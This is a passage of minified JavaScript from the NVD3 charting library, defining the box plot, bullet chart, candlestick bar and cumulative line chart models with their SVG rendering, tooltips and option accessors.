k},set:function(a){k=a}},showMaxMin:{get:function(){return i},set:function(a){i=a}},axisLabel:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return g},set:function(a){g=a}},ticks:{get:function(){return n},set:function(a){n=a}},width:{get:function(){return f},set:function(a){f=a}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}},duration:{get:function(){return p},set:function(a){p=a,s.reset(p)}},scale:{get:function(){return d},set:function(e){d=e,c.scale(d),m="function"==typeof d.rangeBands,a.utils.inheritOptionsD3(b,d,["domain","range","rangeBand","rangeBands"])}}}),a.utils.initOptions(b),a.utils.inheritOptionsD3(b,c,["orient","tickValues","tickSubdivide","tickSize","tickPadding","tickFormat"]),a.utils.inheritOptionsD3(b,d,["domain","range","rangeBand","rangeBands"]),b},a.models.boxPlot=function(){"use strict";function b(l){return v.reset(),l.each(function(b){var l=j-i.left-i.right,p=k-i.top-i.bottom;r=d3.select(this),a.utils.initSVG(r),m.domain(c||b.map(function(a,b){return o(a,b)})).rangeBands(e||[0,l],.1);var w=[];if(!d){var x=d3.min(b.map(function(a){var b=[];return b.push(a.values.Q1),a.values.hasOwnProperty("whisker_low")&&null!==a.values.whisker_low&&b.push(a.values.whisker_low),a.values.hasOwnProperty("outliers")&&null!==a.values.outliers&&(b=b.concat(a.values.outliers)),d3.min(b)})),y=d3.max(b.map(function(a){var b=[];return b.push(a.values.Q3),a.values.hasOwnProperty("whisker_high")&&null!==a.values.whisker_high&&b.push(a.values.whisker_high),a.values.hasOwnProperty("outliers")&&null!==a.values.outliers&&(b=b.concat(a.values.outliers)),d3.max(b)}));w=[x,y]}n.domain(d||w),n.range(f||[p,0]),g=g||m,h=h||n.copy().range([n(0),n(0)]);{var z=r.selectAll("g.nv-wrap").data([b]);z.enter().append("g").attr("class","nvd3 nv-wrap")}z.attr("transform","translate("+i.left+","+i.top+")");var A=z.selectAll(".nv-boxplot").data(function(a){return a}),B=A.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6);A.attr("class","nv-boxplot").attr("transform",function(a,b){return"translate("+(m(o(a,b))+.05*m.rangeBand())+", 0)"}).classed("hover",function(a){return a.hover}),A.watchTransition(v,"nv-boxplot: boxplots").style("stroke-opacity",1).style("fill-opacity",.75).delay(function(a,c){return c*t/b.length}).attr("transform",function(a,b){return"translate("+(m(o(a,b))+.05*m.rangeBand())+", 0)"}),A.exit().remove(),B.each(function(a,b){var c=d3.select(this);["low","high"].forEach(function(d){a.values.hasOwnProperty("whisker_"+d)&&null!==a.values["whisker_"+d]&&(c.append("line").style("stroke",a.color?a.color:q(a,b)).attr("class","nv-boxplot-whisker nv-boxplot-"+d),c.append("line").style("stroke",a.color?a.color:q(a,b)).attr("class","nv-boxplot-tick nv-boxplot-"+d))})});var C=A.selectAll(".nv-boxplot-outlier").data(function(a){return a.values.hasOwnProperty("outliers")&&null!==a.values.outliers?a.values.outliers:[]});C.enter().append("circle").style("fill",function(a,b,c){return q(a,c)}).style("stroke",function(a,b,c){return q(a,c)}).on("mouseover",function(a,b,c){d3.select(this).classed("hover",!0),s.elementMouseover({series:{key:a,color:q(a,c)},e:d3.event})}).on("mouseout",function(a,b,c){d3.select(this).classed("hover",!1),s.elementMouseout({series:{key:a,color:q(a,c)},e:d3.event})}).on("mousemove",function(){s.elementMousemove({e:d3.event})}),C.attr("class","nv-boxplot-outlier"),C.watchTransition(v,"nv-boxplot: nv-boxplot-outlier").attr("cx",.45*m.rangeBand()).attr("cy",function(a){return n(a)}).attr("r","3"),C.exit().remove();var D=function(){return null===u?.9*m.rangeBand():Math.min(75,.9*m.rangeBand())},E=function(){return.45*m.rangeBand()-D()/2},F=function(){return.45*m.rangeBand()+D()/2};["low","high"].forEach(function(a){var b="low"===a?"Q1":"Q3";A.select("line.nv-boxplot-whisker.nv-boxplot-"+a).watchTransition(v,"nv-boxplot: boxplots").attr("x1",.45*m.rangeBand()).attr("y1",function(b){return n(b.values["whisker_"+a])}).attr("x2",.45*m.rangeBand()).attr("y2",function(a){return n(a.values[b])}),A.select("line.nv-boxplot-tick.nv-boxplot-"+a).watchTransition(v,"nv-boxplot: boxplots").attr("x1",E).attr("y1",function(b){return n(b.values["whisker_"+a])}).attr("x2",F).attr("y2",function(b){return n(b.values["whisker_"+a])})}),["low","high"].forEach(function(a){B.selectAll(".nv-boxplot-"+a).on("mouseover",function(b,c,d){d3.select(this).classed("hover",!0),s.elementMouseover({series:{key:b.values["whisker_"+a],color:q(b,d)},e:d3.event})}).on("mouseout",function(b,c,d){d3.select(this).classed("hover",!1),s.elementMouseout({series:{key:b.values["whisker_"+a],color:q(b,d)},e:d3.event})}).on("mousemove",function(){s.elementMousemove({e:d3.event})})}),B.append("rect").attr("class","nv-boxplot-box").on("mouseover",function(a,b){d3.select(this).classed("hover",!0),s.elementMouseover({key:a.label,value:a.label,series:[{key:"Q3",value:a.values.Q3,color:a.color||q(a,b)},{key:"Q2",value:a.values.Q2,color:a.color||q(a,b)},{key:"Q1",value:a.values.Q1,color:a.color||q(a,b)}],data:a,index:b,e:d3.event})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),s.elementMouseout({key:a.label,value:a.label,series:[{key:"Q3",value:a.values.Q3,color:a.color||q(a,b)},{key:"Q2",value:a.values.Q2,color:a.color||q(a,b)},{key:"Q1",value:a.values.Q1,color:a.color||q(a,b)}],data:a,index:b,e:d3.event})}).on("mousemove",function(){s.elementMousemove({e:d3.event})}),A.select("rect.nv-boxplot-box").watchTransition(v,"nv-boxplot: boxes").attr("y",function(a){return n(a.values.Q3)}).attr("width",D).attr("x",E).attr("height",function(a){return Math.abs(n(a.values.Q3)-n(a.values.Q1))||1}).style("fill",function(a,b){return a.color||q(a,b)}).style("stroke",function(a,b){return a.color||q(a,b)}),B.append("line").attr("class","nv-boxplot-median"),A.select("line.nv-boxplot-median").watchTransition(v,"nv-boxplot: boxplots line").attr("x1",E).attr("y1",function(a){return n(a.values.Q2)}).attr("x2",F).attr("y2",function(a){return n(a.values.Q2)}),g=m.copy(),h=n.copy()}),v.renderEnd("nv-boxplot immediate"),b}var c,d,e,f,g,h,i={top:0,right:0,bottom:0,left:0},j=960,k=500,l=Math.floor(1e4*Math.random()),m=d3.scale.ordinal(),n=d3.scale.linear(),o=function(a){return a.x},p=function(a){return a.y},q=a.utils.defaultColor(),r=null,s=d3.dispatch("elementMouseover","elementMouseout","elementMousemove","renderEnd"),t=250,u=null,v=a.utils.renderWatch(s,t);return b.dispatch=s,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return j},set:function(a){j=a}},height:{get:function(){return k},set:function(a){k=a}},maxBoxWidth:{get:function(){return u},set:function(a){u=a}},x:{get:function(){return o},set:function(a){o=a}},y:{get:function(){return p},set:function(a){p=a}},xScale:{get:function(){return m},set:function(a){m=a}},yScale:{get:function(){return n},set:function(a){n=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},id:{get:function(){return l},set:function(a){l=a}},margin:{get:function(){return i},set:function(a){i.top=void 0!==a.top?a.top:i.top,i.right=void 0!==a.right?a.right:i.right,i.bottom=void 0!==a.bottom?a.bottom:i.bottom,i.left=void 0!==a.left?a.left:i.left}},color:{get:function(){return q},set:function(b){q=a.utils.getColor(b)}},duration:{get:function(){return t},set:function(a){t=a,v.reset(t)}}}),a.utils.initOptions(b),b},a.models.boxPlotChart=function(){"use strict";function b(k){return t.reset(),t.models(e),l&&t.models(f),m&&t.models(g),k.each(function(k){var p=d3.select(this);a.utils.initSVG(p);var t=(i||parseInt(p.style("width"))||960)-h.left-h.right,u=(j||parseInt(p.style("height"))||400)-h.top-h.bottom;if(b.update=function(){r.beforeUpdate(),p.transition().duration(s).call(b)},b.container=this,!(k&&k.length&&k.filter(function(a){return a.values.hasOwnProperty("Q1")&&a.values.hasOwnProperty("Q2")&&a.values.hasOwnProperty("Q3")}).length)){var v=p.selectAll(".nv-noData").data([q]);return v.enter().append("text").attr("class","nvd3 nv-noData").attr("dy","-.7em").style("text-anchor","middle"),v.attr("x",h.left+t/2).attr("y",h.top+u/2).text(function(a){return a}),b}p.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale().clamp(!0);var w=p.selectAll("g.nv-wrap.nv-boxPlotWithAxes").data([k]),x=w.enter().append("g").attr("class","nvd3 nv-wrap nv-boxPlotWithAxes").append("g"),y=x.append("defs"),z=w.select("g"); x.append("g").attr("class","nv-x nv-axis"),x.append("g").attr("class","nv-y nv-axis").append("g").attr("class","nv-zeroLine").append("line"),x.append("g").attr("class","nv-barsWrap"),z.attr("transform","translate("+h.left+","+h.top+")"),n&&z.select(".nv-y.nv-axis").attr("transform","translate("+t+",0)"),e.width(t).height(u);var A=z.select(".nv-barsWrap").datum(k.filter(function(a){return!a.disabled}));if(A.transition().call(e),y.append("clipPath").attr("id","nv-x-label-clip-"+e.id()).append("rect"),z.select("#nv-x-label-clip-"+e.id()+" rect").attr("width",c.rangeBand()*(o?2:1)).attr("height",16).attr("x",-c.rangeBand()/(o?1:2)),l){f.scale(c).ticks(a.utils.calcTicksX(t/100,k)).tickSize(-u,0),z.select(".nv-x.nv-axis").attr("transform","translate(0,"+d.range()[0]+")"),z.select(".nv-x.nv-axis").call(f);var B=z.select(".nv-x.nv-axis").selectAll("g");o&&B.selectAll("text").attr("transform",function(a,b,c){return"translate(0,"+(c%2==0?"5":"17")+")"})}m&&(g.scale(d).ticks(Math.floor(u/36)).tickSize(-t,0),z.select(".nv-y.nv-axis").call(g)),z.select(".nv-zeroLine line").attr("x1",0).attr("x2",t).attr("y1",d(0)).attr("y2",d(0))}),t.renderEnd("nv-boxplot chart immediate"),b}var c,d,e=a.models.boxPlot(),f=a.models.axis(),g=a.models.axis(),h={top:15,right:10,bottom:50,left:60},i=null,j=null,k=a.utils.getColor(),l=!0,m=!0,n=!1,o=!1,p=a.models.tooltip(),q="No Data Available.",r=d3.dispatch("tooltipShow","tooltipHide","beforeUpdate","renderEnd"),s=250;f.orient("bottom").showMaxMin(!1).tickFormat(function(a){return a}),g.orient(n?"right":"left").tickFormat(d3.format(",.1f")),p.duration(0);var t=a.utils.renderWatch(r,s);return e.dispatch.on("elementMouseover.tooltip",function(a){p.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(a){p.data(a).hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){p.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=r,b.boxplot=e,b.xAxis=f,b.yAxis=g,b.tooltip=p,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return i},set:function(a){i=a}},height:{get:function(){return j},set:function(a){j=a}},staggerLabels:{get:function(){return o},set:function(a){o=a}},showXAxis:{get:function(){return l},set:function(a){l=a}},showYAxis:{get:function(){return m},set:function(a){m=a}},tooltips:{get:function(){return tooltips},set:function(a){tooltips=a}},tooltipContent:{get:function(){return p},set:function(a){p=a}},noData:{get:function(){return q},set:function(a){q=a}},margin:{get:function(){return h},set:function(a){h.top=void 0!==a.top?a.top:h.top,h.right=void 0!==a.right?a.right:h.right,h.bottom=void 0!==a.bottom?a.bottom:h.bottom,h.left=void 0!==a.left?a.left:h.left}},duration:{get:function(){return s},set:function(a){s=a,t.reset(s),e.duration(s),f.duration(s),g.duration(s)}},color:{get:function(){return k},set:function(b){k=a.utils.getColor(b),e.color(k)}},rightAlignYAxis:{get:function(){return n},set:function(a){n=a,g.orient(a?"right":"left")}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.bullet=function(){"use strict";function b(d){return d.each(function(b,d){var p=m-c.left-c.right,s=n-c.top-c.bottom;o=d3.select(this),a.utils.initSVG(o);{var t=f.call(this,b,d).slice().sort(d3.descending),u=g.call(this,b,d).slice().sort(d3.descending),v=h.call(this,b,d).slice().sort(d3.descending),w=i.call(this,b,d).slice(),x=j.call(this,b,d).slice(),y=k.call(this,b,d).slice(),z=d3.scale.linear().domain(d3.extent(d3.merge([l,t]))).range(e?[p,0]:[0,p]);this.__chart__||d3.scale.linear().domain([0,1/0]).range(z.range())}this.__chart__=z;var A=d3.min(t),B=d3.max(t),C=t[1],D=o.selectAll("g.nv-wrap.nv-bullet").data([b]),E=D.enter().append("g").attr("class","nvd3 nv-wrap nv-bullet"),F=E.append("g"),G=D.select("g");F.append("rect").attr("class","nv-range nv-rangeMax"),F.append("rect").attr("class","nv-range nv-rangeAvg"),F.append("rect").attr("class","nv-range nv-rangeMin"),F.append("rect").attr("class","nv-measure"),D.attr("transform","translate("+c.left+","+c.top+")");var H=function(a){return Math.abs(z(a)-z(0))},I=function(a){return z(0>a?a:0)};G.select("rect.nv-rangeMax").attr("height",s).attr("width",H(B>0?B:A)).attr("x",I(B>0?B:A)).datum(B>0?B:A),G.select("rect.nv-rangeAvg").attr("height",s).attr("width",H(C)).attr("x",I(C)).datum(C),G.select("rect.nv-rangeMin").attr("height",s).attr("width",H(B)).attr("x",I(B)).attr("width",H(B>0?A:B)).attr("x",I(B>0?A:B)).datum(B>0?A:B),G.select("rect.nv-measure").style("fill",q).attr("height",s/3).attr("y",s/3).attr("width",0>v?z(0)-z(v[0]):z(v[0])-z(0)).attr("x",I(v)).on("mouseover",function(){r.elementMouseover({value:v[0],label:y[0]||"Current",color:d3.select(this).style("fill")})}).on("mousemove",function(){r.elementMousemove({value:v[0],label:y[0]||"Current",color:d3.select(this).style("fill")})}).on("mouseout",function(){r.elementMouseout({value:v[0],label:y[0]||"Current",color:d3.select(this).style("fill")})});var J=s/6,K=u.map(function(a,b){return{value:a,label:x[b]}});F.selectAll("path.nv-markerTriangle").data(K).enter().append("path").attr("class","nv-markerTriangle").attr("transform",function(a){return"translate("+z(a.value)+","+s/2+")"}).attr("d","M0,"+J+"L"+J+","+-J+" "+-J+","+-J+"Z").on("mouseover",function(a){r.elementMouseover({value:a.value,label:a.label||"Previous",color:d3.select(this).style("fill"),pos:[z(a.value),s/2]})}).on("mousemove",function(a){r.elementMousemove({value:a.value,label:a.label||"Previous",color:d3.select(this).style("fill")})}).on("mouseout",function(a){r.elementMouseout({value:a.value,label:a.label||"Previous",color:d3.select(this).style("fill")})}),D.selectAll(".nv-range").on("mouseover",function(a,b){var c=w[b]||(b?1==b?"Mean":"Minimum":"Maximum");r.elementMouseover({value:a,label:c,color:d3.select(this).style("fill")})}).on("mousemove",function(){r.elementMousemove({value:v[0],label:y[0]||"Previous",color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){var c=w[b]||(b?1==b?"Mean":"Minimum":"Maximum");r.elementMouseout({value:a,label:c,color:d3.select(this).style("fill")})})}),b}var c={top:0,right:0,bottom:0,left:0},d="left",e=!1,f=function(a){return a.ranges},g=function(a){return a.markers?a.markers:[0]},h=function(a){return a.measures},i=function(a){return a.rangeLabels?a.rangeLabels:[]},j=function(a){return a.markerLabels?a.markerLabels:[]},k=function(a){return a.measureLabels?a.measureLabels:[]},l=[0],m=380,n=30,o=null,p=null,q=a.utils.getColor(["#1f77b4"]),r=d3.dispatch("elementMouseover","elementMouseout","elementMousemove");return b.dispatch=r,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{ranges:{get:function(){return f},set:function(a){f=a}},markers:{get:function(){return g},set:function(a){g=a}},measures:{get:function(){return h},set:function(a){h=a}},forceX:{get:function(){return l},set:function(a){l=a}},width:{get:function(){return m},set:function(a){m=a}},height:{get:function(){return n},set:function(a){n=a}},tickFormat:{get:function(){return p},set:function(a){p=a}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},orient:{get:function(){return d},set:function(a){d=a,e="right"==d||"bottom"==d}},color:{get:function(){return q},set:function(b){q=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.bulletChart=function(){"use strict";function b(d){return d.each(function(e,o){var p=d3.select(this);a.utils.initSVG(p);var q=a.utils.availableWidth(k,p,g),r=l-g.top-g.bottom;if(b.update=function(){b(d)},b.container=this,!e||!h.call(this,e,o))return a.utils.noData(b,p),b;p.selectAll(".nv-noData").remove();var s=h.call(this,e,o).slice().sort(d3.descending),t=i.call(this,e,o).slice().sort(d3.descending),u=j.call(this,e,o).slice().sort(d3.descending),v=p.selectAll("g.nv-wrap.nv-bulletChart").data([e]),w=v.enter().append("g").attr("class","nvd3 nv-wrap nv-bulletChart"),x=w.append("g"),y=v.select("g");x.append("g").attr("class","nv-bulletWrap"),x.append("g").attr("class","nv-titles"),v.attr("transform","translate("+g.left+","+g.top+")");var z=d3.scale.linear().domain([0,Math.max(s[0],t[0],u[0])]).range(f?[q,0]:[0,q]),A=this.__chart__||d3.scale.linear().domain([0,1/0]).range(z.range());this.__chart__=z;var B=x.select(".nv-titles").append("g").attr("text-anchor","end").attr("transform","translate(-6,"+(l-g.top-g.bottom)/2+")");B.append("text").attr("class","nv-title").text(function(a){return a.title}),B.append("text").attr("class","nv-subtitle").attr("dy","1em").text(function(a){return a.subtitle}),c.width(q).height(r);var C=y.select(".nv-bulletWrap");d3.transition(C).call(c);var D=m||z.tickFormat(q/100),E=y.selectAll("g.nv-tick").data(z.ticks(n?n:q/50),function(a){return this.textContent||D(a)}),F=E.enter().append("g").attr("class","nv-tick").attr("transform",function(a){return"translate("+A(a)+",0)"}).style("opacity",1e-6);F.append("line").attr("y1",r).attr("y2",7*r/6),F.append("text").attr("text-anchor","middle").attr("dy","1em").attr("y",7*r/6).text(D);var G=d3.transition(E).attr("transform",function(a){return"translate("+z(a)+",0)"}).style("opacity",1);G.select("line").attr("y1",r).attr("y2",7*r/6),G.select("text").attr("y",7*r/6),d3.transition(E.exit()).attr("transform",function(a){return"translate("+z(a)+",0)"}).style("opacity",1e-6).remove()}),d3.timer.flush(),b}var c=a.models.bullet(),d=a.models.tooltip(),e="left",f=!1,g={top:5,right:40,bottom:20,left:120},h=function(a){return a.ranges},i=function(a){return a.markers?a.markers:[0]},j=function(a){return a.measures},k=null,l=55,m=null,n=null,o=null,p=d3.dispatch("tooltipShow","tooltipHide");return d.duration(0).headerEnabled(!1),c.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:a.label,value:a.value,color:a.color},d.data(a).hidden(!1)}),c.dispatch.on("elementMouseout.tooltip",function(){d.hidden(!0)}),c.dispatch.on("elementMousemove.tooltip",function(){d.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.bullet=c,b.dispatch=p,b.tooltip=d,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{ranges:{get:function(){return h},set:function(a){h=a}},markers:{get:function(){return i},set:function(a){i=a}},measures:{get:function(){return j},set:function(a){j=a}},width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},tickFormat:{get:function(){return m},set:function(a){m=a}},ticks:{get:function(){return n},set:function(a){n=a}},noData:{get:function(){return o},set:function(a){o=a}},tooltips:{get:function(){return d.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),d.enabled(!!b)}},tooltipContent:{get:function(){return d.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),d.contentGenerator(b)}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},orient:{get:function(){return e},set:function(a){e=a,f="right"==e||"bottom"==e}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.models.candlestickBar=function(){"use strict";function b(x){return x.each(function(b){c=d3.select(this);var x=a.utils.availableWidth(i,c,h),y=a.utils.availableHeight(j,c,h);a.utils.initSVG(c);var A=x/b[0].values.length*.45;l.domain(d||d3.extent(b[0].values.map(n).concat(t))),l.range(v?f||[.5*x/b[0].values.length,x*(b[0].values.length-.5)/b[0].values.length]:f||[5+A/2,x-A/2-5]),m.domain(e||[d3.min(b[0].values.map(s).concat(u)),d3.max(b[0].values.map(r).concat(u))]).range(g||[y,0]),l.domain()[0]===l.domain()[1]&&l.domain(l.domain()[0]?[l.domain()[0]-.01*l.domain()[0],l.domain()[1]+.01*l.domain()[1]]:[-1,1]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]+.01*m.domain()[0],m.domain()[1]-.01*m.domain()[1]]:[-1,1]);var B=d3.select(this).selectAll("g.nv-wrap.nv-candlestickBar").data([b[0].values]),C=B.enter().append("g").attr("class","nvd3 nv-wrap nv-candlestickBar"),D=C.append("defs"),E=C.append("g"),F=B.select("g");E.append("g").attr("class","nv-ticks"),B.attr("transform","translate("+h.left+","+h.top+")"),c.on("click",function(a,b){z.chartClick({data:a,index:b,pos:d3.event,id:k})}),D.append("clipPath").attr("id","nv-chart-clip-path-"+k).append("rect"),B.select("#nv-chart-clip-path-"+k+" rect").attr("width",x).attr("height",y),F.attr("clip-path",w?"url(#nv-chart-clip-path-"+k+")":"");var G=B.select(".nv-ticks").selectAll(".nv-tick").data(function(a){return a});G.exit().remove();{var H=G.enter().append("g").attr("class",function(a,b,c){return(p(a,b)>q(a,b)?"nv-tick negative":"nv-tick positive")+" nv-tick-"+c+"-"+b});H.append("line").attr("class","nv-candlestick-lines").attr("transform",function(a,b){return"translate("+l(n(a,b))+",0)"}).attr("x1",0).attr("y1",function(a,b){return m(r(a,b))}).attr("x2",0).attr("y2",function(a,b){return m(s(a,b))}),H.append("rect").attr("class","nv-candlestick-rects nv-bars").attr("transform",function(a,b){return"translate("+(l(n(a,b))-A/2)+","+(m(o(a,b))-(p(a,b)>q(a,b)?m(q(a,b))-m(p(a,b)):0))+")"}).attr("x",0).attr("y",0).attr("width",A).attr("height",function(a,b){var c=p(a,b),d=q(a,b);return c>d?m(d)-m(c):m(c)-m(d)})}c.selectAll(".nv-candlestick-lines").transition().attr("transform",function(a,b){return"translate("+l(n(a,b))+",0)"}).attr("x1",0).attr("y1",function(a,b){return m(r(a,b))}).attr("x2",0).attr("y2",function(a,b){return m(s(a,b))}),c.selectAll(".nv-candlestick-rects").transition().attr("transform",function(a,b){return"translate("+(l(n(a,b))-A/2)+","+(m(o(a,b))-(p(a,b)>q(a,b)?m(q(a,b))-m(p(a,b)):0))+")"}).attr("x",0).attr("y",0).attr("width",A).attr("height",function(a,b){var c=p(a,b),d=q(a,b);return c>d?m(d)-m(c):m(c)-m(d)})}),b}var c,d,e,f,g,h={top:0,right:0,bottom:0,left:0},i=null,j=null,k=Math.floor(1e4*Math.random()),l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=function(a){return a.open},q=function(a){return a.close},r=function(a){return a.high},s=function(a){return a.low},t=[],u=[],v=!1,w=!0,x=a.utils.defaultColor(),y=!1,z=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd","chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove");return b.highlightPoint=function(a,d){b.clearHighlights(),c.select(".nv-candlestickBar .nv-tick-0-"+a).classed("hover",d)},b.clearHighlights=function(){c.select(".nv-candlestickBar .nv-tick.hover").classed("hover",!1)},b.dispatch=z,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return i},set:function(a){i=a}},height:{get:function(){return j},set:function(a){j=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},forceX:{get:function(){return t},set:function(a){t=a}},forceY:{get:function(){return u},set:function(a){u=a}},padData:{get:function(){return v},set:function(a){v=a}},clipEdge:{get:function(){return w},set:function(a){w=a}},id:{get:function(){return k},set:function(a){k=a}},interactive:{get:function(){return y},set:function(a){y=a}},x:{get:function(){return n},set:function(a){n=a}},y:{get:function(){return o},set:function(a){o=a}},open:{get:function(){return p()},set:function(a){p=a}},close:{get:function(){return q()},set:function(a){q=a}},high:{get:function(){return r},set:function(a){r=a}},low:{get:function(){return s},set:function(a){s=a}},margin:{get:function(){return h},set:function(a){h.top=void 0!=a.top?a.top:h.top,h.right=void 0!=a.right?a.right:h.right,h.bottom=void 0!=a.bottom?a.bottom:h.bottom,h.left=void 0!=a.left?a.left:h.left}},color:{get:function(){return x},set:function(b){x=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.cumulativeLineChart=function(){"use strict";function b(l){return H.reset(),H.models(f),r&&H.models(g),s&&H.models(h),l.each(function(l){function A(){d3.select(b.container).style("cursor","ew-resize")}function E(){G.x=d3.event.x,G.i=Math.round(F.invert(G.x)),K()}function H(){d3.select(b.container).style("cursor","auto"),y.index=G.i,C.stateChange(y)}function K(){bb.data([G]);var a=b.duration();b.duration(0),b.update(),b.duration(a)}var L=d3.select(this);a.utils.initSVG(L),L.classed("nv-chart-"+x,!0);var M=this,N=a.utils.availableWidth(o,L,m),O=a.utils.availableHeight(p,L,m);if(b.update=function(){0===D?L.call(b):L.transition().duration(D).call(b)},b.container=this,y.setter(J(l),b.update).getter(I(l)).update(),y.disabled=l.map(function(a){return!!a.disabled}),!z){var P;z={};for(P in y)z[P]=y[P]instanceof Array?y[P].slice(0):y[P]}var Q=d3.behavior.drag().on("dragstart",A).on("drag",E).on("dragend",H);if(!(l&&l.length&&l.filter(function(a){return a.values.length}).length))return a.utils.noData(b,L),b;if(L.selectAll(".nv-noData").remove(),d=f.xScale(),e=f.yScale(),w)f.yDomain(null);else{var R=l.filter(function(a){return!a.disabled}).map(function(a){var b=d3.extent(a.values,f.y());return b[0]<-.95&&(b[0]=-.95),[(b[0]-b[1])/(1+b[1]),(b[1]-b[0])/(1+b[0])]}),S=[d3.min(R,function(a){return a[0]}),d3.max(R,function(a){return a[1]})];f.yDomain(S)}F.domain([0,l[0].values.length-1]).range([0,N]).clamp(!0);var l=c(G.i,l),T=v?"none":"all",U=L.selectAll("g.nv-wrap.nv-cumulativeLine").data([l]),V=U.enter().append("g").attr("class","nvd3 nv-wrap nv-cumulativeLine").append("g"),W=U.select("g");if(V.append("g").attr("class","nv-interactive"),V.append("g").attr("class","nv-x nv-axis").style("pointer-events","none"),V.append("g").attr("class","nv-y nv-axis"),V.append("g").attr("class","nv-background"),V.append("g").attr("class","nv-linesWrap").style("pointer-events",T),V.append("g").attr("class","nv-avgLinesWrap").style("pointer-events","none"),V.append("g").attr("class","nv-legendWrap"),V.append("g").attr("class","nv-controlsWrap"),q&&(i.width(N),W.select(".nv-legendWrap").datum(l).call(i),m.top!=i.height()&&(m.top=i.height(),O=a.utils.availableHeight(p,L,m)),W.select(".nv-legendWrap").attr("transform","translate(0,"+-m.top+")")),u){var X=[{key:"Re-scale y-axis",disabled:!w}];j.width(140).color(["#444","#444","#444"]).rightAlign(!1).margin({top:5,right:0,bottom:5,left:20}),W.select(".nv-controlsWrap").datum(X).attr("transform","translate(0,"+-m.top+")").call(j)}U.attr("transform","translate("+m.left+","+m.top+")"),t&&W.select(".nv-y.nv-axis").attr("transform","translate("+N+",0)");var Y=l.filter(function(a){return a.tempDisabled});U.select(".tempDisabled").remove(),Y.length&&U.append("text").attr("class","tempDisabled").attr("x",N/2).attr("y","-.71em").style("text-anchor","end").text(Y.map(function(a){return a.key}).join(", ")+" values cannot be calculated for this time period."),v&&(k.width(N).height(O).margin({left:m.left,top:m.top}).svgContainer(L).xScale(d),U.select(".nv-interactive").call(k)),V.select(".nv-background").append("rect"),W.select(".nv-background rect").attr("width",N).attr("height",O),f.y(function(a){return a.display.y}).width(N).height(O).color(l.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!l[b].disabled&&!l[b].tempDisabled}));var Z=W.select(".nv-linesWrap").datum(l.filter(function(a){return!a.disabled&&!a.tempDisabled}));Z.call(f),l.forEach(function(a,b){a.seriesIndex=b});var $=l.filter(function(a){return!a.disabled&&!!B(a)}),_=W.select(".nv-avgLinesWrap").selectAll("line").data($,function(a){return a.key}),ab=function(a){var b=e(B(a));return 0>b?0:b>O?O:b};_.enter().append("line").style("stroke-width",2).style("stroke-dasharray","10,10").style("stroke",function(a){return f.color()(a,a.seriesIndex)}).attr("x1",0).attr("x2",N).attr("y1",ab).attr("y2",ab),_.style("stroke-opacity",function(a){var b=e(B(a));return 0>b||b>O?0:1}).attr("x1",0).attr("x2",N).attr("y1",ab).attr("y2",ab),_.exit().remove();var bb=Z.selectAll(".nv-indexLine").data([G]);bb.enter().append("rect").attr("class","nv-indexLine").attr("width",3).attr("x",-2).attr("fill","red").attr("fill-opacity",.5).style("pointer-events","all").call(Q),bb.attr("transform",function(a){return"translate("+F(a.i)+",0)"}).attr("height",O),r&&(g.scale(d)._ticks(a.utils.calcTicksX(N/70,l)).tickSize(-O,0),W.select(".nv-x.nv-axis").attr("transform","translate(0,"+e.range()[0]+")"),W.select(".nv-x.nv-axis").call(g)),s&&(h.scale(e)._ticks(a.utils.calcTicksY(O/36,l)).tickSize(-N,0),W.select(".nv-y.nv-axis").call(h)),W.select(".nv-background 